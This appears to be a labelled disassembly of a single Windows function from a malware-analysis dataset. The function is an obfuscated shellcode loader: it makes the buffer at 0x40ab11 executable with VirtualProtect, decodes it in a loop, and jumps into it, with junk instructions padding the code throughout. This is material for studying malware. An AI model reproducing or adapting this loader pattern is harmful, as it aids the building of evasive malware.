Function at 0x404b2b
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
and ax, ax
shr ax, 0x1a
nop
add ecx, ecx
shr eax, 3
sub ax, 0xe235
add cl, 0xa
add ecx, eax
sub ecx, ecx
sub ecx, ecx
xor ch, 0xdd
xor ax, 0
shr cx, 0x14
add al, 0x69
shl al, 0x11
and ah, 0x47
and ax, 0x53
sub ax, 0x2c89
shl ch, 5
xor ax, ax
shr eax, 8
push ebp
mov ebp, esp
sub esp, 0xc0
shl ch, 0x10
xor cl, 0
xor al, 0x60
mov eax, 0
xchg dword [ebp - 0xc], eax
shl ax, 0x1d
sub al, 0xcb
mov ax, 0xa8
xchg word [ebp - 6], ax
sub cl, 0xeb
xor al, 0x90
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov dword [ebp - 0xc], 0xa39c8c07
mov eax, dword [ebp - 0xc]
cmp eax, 0x6748e84e
ja 0x404e9c
cmp byte [eax], al
add byte [eax], al
xlatb
add byte [eax], al
add byte [eax], al
push dword [eax]
add byte [eax], al
add byte [edx], bh
sbb dword [eax + eax - 0x3e09b7e1], ebp
fld dword [eax]
add byte [esi - 0x11f60000], bh
add byte [ebp + 0x24], ah
add byte [eax], al
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
aad 0
add byte [eax], al
add byte [eax], bl
sub eax, dword [eax]
lahf
sub byte [eax], al
loope 0x404bea
std
add byte [eax], al
arpl word [edx - 0xd], sp
or al, 0xc
add byte [eax], al
push edx
insd dword es:[edi], dx
call fcn.0040a6fb
pop esp
add byte [eax], al
invalid
shl ah, 0x16
and ah, 0
mov ecx, 0x50b0e3
xchg dword [ebp - 0xc], ecx
sub eax, eax
shl ch, 0xf
cmp byte [esi], 0x22
jne 0x404f23
sub ax, cx
xor ecx, ecx
add ecx, 0x6a917d50
and al, 0
and eax, 0x30
push 0x4c
pop dword [ebp - 0x14]
sub cx, ax
mov al, byte [esi + 1]
inc esi
test al, al
je 0x404ee4
cmp al, 0x22
je 0x404ee4
and ax, 0
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x404ed4
xor ax, 0
xor cx, ax
and bl, bl
shr al, 0x15
sub eax, ecx
add bl, bl
cmp byte [esi], 0x22
jne 0x404f0d
sub cl, dl
mov dword [ebp - 0x14], 0x94
inc esi
add cl, 0xee
mov dword [ebp - 0x14], 0x23
sub ax, 0xcc7b
add eax, ecx
add cx, 0xdaf4
sub ecx, 0x6a10158a
xor ah, 0
jmp 0x404f59
xor ch, 0
and ah, 0x94
add al, al
cmp byte [esi], 0x20
jle 0x404f59
mov dl, 0xba
sub ecx, eax
add eax, eax
sub ecx, 0xeef454e2
and cx, ax
mov byte [ebp - 5], dl
inc esi
add ax, 0x5bf7
dec cx
mov cx, 0x3d
xchg word [ebp - 0xe], cx
and ah, 0
cmp byte [esi], 0x20
jg 0x404f32
shr ecx, 0x1f
and ax, cx
shr ecx, 5
sub ah, 0xbb
mov dword [ebp - 0x14], 0
mov al, byte [esi]
test al, al
je 0x404f95
cmp al, 0x20
jg 0x404f95
and cl, 0x55
inc esi
nop
nop
xor ch, 0
add ax, cx
xor eax, 0xcb
xor eax, eax
sub ecx, 0x47296d5e
mov al, byte [esi]
test al, al
jne 0x404f72
push 0xe2
pop dword [ebp - 0x14]
sub eax, 0x58be6e6a
xor ax, cx
push 0
pop dword [ebp - 0x14]
dec dl
shr ch, 0x14
mov ax, 0
xchg word [ebp - 0xe], ax
and ch, 0
and ch, 0
xor ecx, ecx
mov dword [ebp - 0x14], 0x1b
xor ah, 0
xor edx, edx
mov dword [ebp - 0x14], edx
add ecx, 0x78a2a2
add ax, 0xc9e5
and cx, 0
add cl, bl
and ax, 0
xor ax, cx
sub ax, 0xbda6
shr cl, 0x1e
dec bx
add ch, 0xf2
and eax, 0
xor eax, 0
shl ch, 0x17
sub eax, eax
mov ecx, 0x200f75
xchg dword [ebp - 0xc], ecx
and cx, cx
xor ah, 0xa4
lea ecx, [0x40ab11]
mov dword [ebp - 0xac], ecx
sub ah, 0x42
add cx, ax
and ax, 0xf
sub eax, 0xfc96095e
shl eax, 0xa
shl al, 1
xor cl, 0xd2
and cx, 0x53
and ah, 0x1d
nop
shl cl, 0x1d
add cl, 0x59
and ax, cx
shl cl, 2
sub cl, cl
lea ecx, [ebp - 0xc]
mov dword [ecx], 0x2b
and cx, 0
mov dword [ebp - 0x14], edx
shr ax, 2
mov cl, 1
xchg byte [ebp - 5], cl
and ah, 0
and ecx, 0xf
shl ax, 0xc
mov dword [ebp - 0x14], edx
and al, 0x35
and cl, cl
sub dl, al
xor cl, dl
shl ch, 0x1c
xor eax, eax
mov byte [ebp - 5], 0xb4
sub cx, 0x1d11
sub cx, ax
mov cl, 0x87
xchg byte [ebp - 5], cl
xor al, 0x89
add cx, 0x5717
shl al, 0x1e
xor ax, 0x44
sub bl, dl
push 0
pop dword [ebp - 0xb8]
xor ecx, ecx
shr ch, 0x1d
mov ax, 0xce
xchg word [ebp - 0xe], ax
mov bl, 0
xchg byte [ebp - 5], bl
xor ecx, 0xc6
lea eax, [ebp - 0xc]
mov dword [eax], 0
sub ecx, 0xc62ec6ee
xor ah, 0x67
mov ax, 0x15
xchg word [ebp - 0xe], ax
add ax, 0x7d3b
add cl, bl
and cl, 0
and eax, 0
sub ax, 0x41f0
shl ch, 0x12
push 0xe
pop dword [ebp - 0x14]
sub ecx, 0x854843ea
nop
and ecx, ecx
xor al, 0x5d
push 0x28
pop dword [ebp - 0x14]
shr eax, 0xe
shl ah, 9
xor eax, 0xde
sub bl, bl
mov ecx, 0x9237
xchg dword [ebp - 0xc], ecx
sub cl, cl
mov dword [ebp - 0x14], 0xd3
and al, 8
and cl, 0
and cx, 0
lea ecx, [ebp - 0xc]
mov dword [ecx], 0x485b
add dl, dl
add eax, eax
lea ecx, [ebp - 0xc]
mov dword [ecx], 0
mov dword [ebp - 0x14], 0x16
add cl, 0xa3
and cx, 0
add cx, 0x479b
xor eax, ecx
dec cx
and dl, al
shl ecx, 3
mov al, 0
xchg byte [ebp - 5], al
add ecx, ecx
xor edi, edi
xor cx, ax
shl cl, 8
sub eax, 0x2eda7cf0
sub ecx, eax
shr ax, 0x19
sub al, 0xf2
mov cl, 0
xchg byte [ebp - 5], cl
push 0x1d
pop dword [ebp - 0x14]
and al, 0
shl ah, 0xd
sub dl, al
mov eax, 0xdb
sub eax, 0x47
mov dword [ebp - 0xa8], eax
sub ecx, 0x7b4581c0
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
add eax, 0xa99f85e0
and ecx, 0x9e706a
xor al, 0
and ax, 0
cmp dword [ebp - 0x98], 2
jne 0x405226
mov dword [ebp - 0x14], edi
shr ch, 0x12
and eax, eax
xor ax, 0xf4
and dl, al
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xb4], eax
shr al, 0x1a
mov eax, 0x8b88
xchg dword [ebp - 0xc], eax
xor cl, al
and cx, 0x6b
sub ax, 0x9bb9
and ax, cx
shr cx, 0x17
mov eax, dword [ebp - 0xb4]
cmp eax, edi
je 0x40545f
add ax, 0x39d1
sub ax, 0xd136
add ecx, 0xdb576eb2
add cl, 0x67
dec bx
shl ax, 8
shr cx, 3
nop
shl eax, 0x17
and bl, bl
dec dx
mov edx, dword [ebp - 0xac]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x40910
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov bl, 0x8b
xchg byte [ebp - 5], bl
mov dword [ebp - 0x14], 0x98
add ch, 0xe8
sub cx, ax
shr ch, 0x13
mov dword [ebp - 0xc], 0xb6f784ae
mov eax, dword [ebp - 0xc]
cmp eax, 0x79b3362a
jl 0x4052af
and cx, 0x97
xor al, 0x6e
dec cl
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0xc]
shr cl, 0x13
shr ch, 4
and ecx, 0x94
add cx, ax
add al, 0xc5
mov bl, 0
xchg byte [ebp - 5], bl
add ax, 0x5f2a
xor eax, eax
add eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
xor al, 0
shr ecx, 0xf
shl cx, 0x16
jmp 0x4052b5
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp - 0xc]
sub cl, al
shr al, 0x11
and al, dl
add bl, dl
and ah, 0
dec cx
push 0xb7
pop dword [ebp - 0xb4]
add dword [ebp - 0xb4], 0x3a5
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
cmp ecx, eax
jae 0x4053df
mov eax, dword [ebp - 0xb8]
imul eax, eax, 4
mov ecx, dword [ebp - 0xac]
add eax, ecx
mov dword [ebp - 0xc], eax
dec bl
sub bl, bl
add eax, 0x7d014fe8
and eax, ecx
xor ecx, eax
xor cx, ax
and ah, 0xc8
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx]
mov dword [ebp - 0xb0], ecx
mov ax, 0
xchg word [ebp - 0xe], ax
xor ax, ax
mov eax, dword [section..data]
mov ecx, 0x37e3cc2e
test eax, eax
jne 0x40533d
mov ecx, dword [ebp - 0xc0]
mov eax, ecx
xor eax, 0x9e413208
inc ecx
imul eax, ecx
mov ecx, dword [ebp - 0xb0]
add ecx, eax
test edi, edi
jne 0x405359
mov edx, 0xeb74e56c
mov dword [ebp - 0xc0], edx
lea eax, [edx - 0x8a6341c]
inc edx
xor eax, edx
add eax, ecx
test edi, edi
jne 0x405373
mov esi, 0x5be6bf38
mov edx, esi
lea eax, [esi + eax - 0x5b851d05]
test edi, edi
mov esi, 0xb89366c
je 0x40538b
mov esi, dword [ebp - 0xbc]
add eax, 0x9954901d
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb0], eax
mov edi, 0xe13e077
mov dword [section..data], 0
shr al, 0x1b
shl cl, 5
mov ecx, dword [ebp - 0xb0]
mov ebx, dword [ebp - 0xc]
mov dword [ebx], ecx
mov dword [ebp - 0x14], 0x4cb28dc
mov eax, dword [ebp - 0x14]
cmp eax, 0xc1c9385d
jg 0x40527b
xor ax, 0xde
and bl, al
and eax, ecx
xor eax, eax
add ax, ax
mov eax, dword [ebp - 0xac]
push 0
pop edx
add edx, 1
shl edx, 0xa
add eax, edx
xchg ebx, eax
mov dword [ebp - 0x14], ebx
xor al, al
xor ax, 0x52
xor ax, ax
dec al
add ch, 0x2d
add bl, dl
push 0x3f1
pop dword [ebp - 0xc]
add dword [ebp - 0xc], 0xd7f
sub al, 0x14
nop
sub al, 0xdc
shr ecx, 7
inc cl
push 0
push dword [ebp - 0xc]
push dword [ebp - 0xac]
call dword [ebp - 0x14]
mov cx, 0
xchg word [ebp - 0xe], cx
shl ecx, 0x18
shl ch, 0xf
nop
shr cx, 0xd
lea eax, [ebp - 0x14]
mov dword [eax], 0x2f
add ecx, 0x9f770964
xor cx, ax
mov dword [ebp - 0x14], 0x4779
xor eax, eax
xor cx, ax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]